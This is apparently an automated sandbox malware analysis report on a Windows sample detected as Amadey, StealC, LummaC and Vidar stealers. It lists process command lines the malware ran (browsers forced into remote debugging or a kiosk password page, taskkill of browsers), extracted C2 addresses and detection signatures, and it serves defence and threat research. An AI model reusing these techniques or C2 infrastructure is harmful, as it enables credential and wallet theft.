Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1572052
MD5:	0bd6feab9ec3faa844bdcdce20bb139a
SHA1:	489a61c409dfb7d18be79e8ee0e6a357e2441b32
SHA256:	5facd021cf569f15595a5bca8a9e248e6c32c1811f8b4c70ca037a15fed258ab
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7096 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0BD6FEAB9EC3FAA844BDCDCE20BB139A)

chrome.exe (PID: 5688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2188,i,15960118764886269658,6532933888206594195,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8176 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6020 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2064,i,2810652409012286938,13931137755931519812,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7188 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKECGDBFCB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JKECGDBFCB.exe (PID: 7644 cmdline: "C:\Users\user\Documents\JKECGDBFCB.exe" MD5: 4F2646500156298BD82C572E6C8E4062)

skotes.exe (PID: 7840 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4F2646500156298BD82C572E6C8E4062)

msedge.exe (PID: 5756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7436 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2124,i,13202406823747030599,15920737629403327339,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 7896 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4F2646500156298BD82C572E6C8E4062)

skotes.exe (PID: 7884 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4F2646500156298BD82C572E6C8E4062)

2533b4b8c7.exe (PID: 7772 cmdline: "C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe" MD5: 2E19A105AE94D5CFDBA8166AF58F7A3E)

feb3d39b6a.exe (PID: 6568 cmdline: "C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe" MD5: D7229A6C265F82BC80E0908656B99344)

815f2a8fe8.exe (PID: 7552 cmdline: "C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe" MD5: 0BD6FEAB9EC3FAA844BDCDCE20BB139A)

0d957dbf73.exe (PID: 6256 cmdline: "C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe" MD5: B96DF7B03681A0CCCCD55BEC984830B9)

taskkill.exe (PID: 2164 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5820 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5512 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6660 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7712 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 2436 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

57a07eec2d.exe (PID: 3668 cmdline: "C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe" MD5: D445052255EC75C77BF79748BD082EFD)

feb3d39b6a.exe (PID: 5080 cmdline: "C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe" MD5: D7229A6C265F82BC80E0908656B99344)

firefox.exe (PID: 5260 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1992 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6504 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f89380b-e895-40d1-9424-18fcfa5174fc} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132aa86e310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1244 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4400 -parentBuildID 20230927232528 -prefsHandle 3648 -prefMapHandle 3968 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2f51042-99a7-4863-8fea-e445d15025a5} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132bd2afe10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

815f2a8fe8.exe (PID: 3356 cmdline: "C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe" MD5: 0BD6FEAB9EC3FAA844BDCDCE20BB139A)

0d957dbf73.exe (PID: 5392 cmdline: "C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe" MD5: B96DF7B03681A0CCCCD55BEC984830B9)

taskkill.exe (PID: 2884 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

57a07eec2d.exe (PID: 2380 cmdline: "C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe" MD5: D445052255EC75C77BF79748BD082EFD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["dare-curbys.biz", "impend-differ.biz", "formy-spill.biz", "atten-supporse.biz", "se-blurry.biz", "dwell-exclaim.biz", "covery-mover.biz", "zinc-sneark.biz", "print-vexer.biz"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000013.00000003.2952766188.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.3325152088.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1680:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000014.00000002.3062536575.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2978726048.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2623989684.0000000000511000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.3033374446.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2952585223.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.3252381859.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2649996256.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.3005504175.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.3244939214.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.3033026272.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.3154801184.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2971078627.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2048185134.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2593553859.00000000001E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2653499661.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2977685689.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.3005248474.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.3069078994.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2604363979.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.3319241005.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.3323737933.0000000000D70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: file.exe PID: 7096	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7096	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7096	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7096	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 6568	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 6568	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 6568	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 6568	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 815f2a8fe8.exe PID: 7552	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 815f2a8fe8.exe PID: 7552	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0d957dbf73.exe PID: 6256	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 5080	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 5080	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 5080	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: feb3d39b6a.exe PID: 5080	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author
14.2.JKECGDBFCB.exe.510000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.d30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.d30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.d30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7884, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\feb3d39b6a.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7096, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 5688, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7884, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\feb3d39b6a.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:25.814242+0100	2028371	3	Unknown Traffic	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:28.372975+0100	2028371	3	Unknown Traffic	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:31.477215+0100	2028371	3	Unknown Traffic	192.168.2.5	49915	104.21.16.1	443	TCP
2024-12-10T02:51:33.956000+0100	2028371	3	Unknown Traffic	192.168.2.5	49923	104.21.16.1	443	TCP
2024-12-10T02:51:36.966144+0100	2028371	3	Unknown Traffic	192.168.2.5	49930	104.21.16.1	443	TCP
2024-12-10T02:51:41.126126+0100	2028371	3	Unknown Traffic	192.168.2.5	49938	104.21.16.1	443	TCP
2024-12-10T02:51:42.938147+0100	2028371	3	Unknown Traffic	192.168.2.5	49946	104.21.16.1	443	TCP
2024-12-10T02:51:44.282053+0100	2028371	3	Unknown Traffic	192.168.2.5	49951	104.21.16.1	443	TCP
2024-12-10T02:51:45.548313+0100	2028371	3	Unknown Traffic	192.168.2.5	49953	104.21.16.1	443	TCP
2024-12-10T02:51:48.727137+0100	2028371	3	Unknown Traffic	192.168.2.5	49968	104.21.16.1	443	TCP
2024-12-10T02:51:51.750576+0100	2028371	3	Unknown Traffic	192.168.2.5	49979	104.21.16.1	443	TCP
2024-12-10T02:51:54.437890+0100	2028371	3	Unknown Traffic	192.168.2.5	49992	104.21.16.1	443	TCP
2024-12-10T02:51:57.195804+0100	2028371	3	Unknown Traffic	192.168.2.5	50001	104.21.16.1	443	TCP
2024-12-10T02:52:00.840605+0100	2028371	3	Unknown Traffic	192.168.2.5	50016	104.21.16.1	443	TCP
2024-12-10T02:52:05.730409+0100	2028371	3	Unknown Traffic	192.168.2.5	50029	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:26.665696+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:29.107128+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:44.238004+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49946	104.21.16.1	443	TCP
2024-12-10T02:51:46.287364+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49953	104.21.16.1	443	TCP
2024-12-10T02:51:52.361137+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49979	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:26.665696+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:44.238004+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49946	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:29.107128+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:46.287364+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49953	104.21.16.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:25.814242+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:28.372975+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:31.477215+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49915	104.21.16.1	443	TCP
2024-12-10T02:51:33.956000+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49923	104.21.16.1	443	TCP
2024-12-10T02:51:36.966144+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49930	104.21.16.1	443	TCP
2024-12-10T02:51:41.126126+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49938	104.21.16.1	443	TCP
2024-12-10T02:51:42.938147+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49946	104.21.16.1	443	TCP
2024-12-10T02:51:44.282053+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49951	104.21.16.1	443	TCP
2024-12-10T02:51:45.548313+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49953	104.21.16.1	443	TCP
2024-12-10T02:51:48.727137+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49968	104.21.16.1	443	TCP
2024-12-10T02:51:51.750576+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49979	104.21.16.1	443	TCP
2024-12-10T02:51:54.437890+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49992	104.21.16.1	443	TCP
2024-12-10T02:51:57.195804+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	50001	104.21.16.1	443	TCP
2024-12-10T02:52:00.840605+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	50016	104.21.16.1	443	TCP
2024-12-10T02:52:05.730409+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	50029	104.21.16.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:53.838934+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49987	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:51:17.019595+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49875	185.215.113.43	80	TCP
2024-12-10T02:51:25.678749+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49897	185.215.113.43	80	TCP
2024-12-10T02:51:34.144107+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49921	185.215.113.43	80	TCP
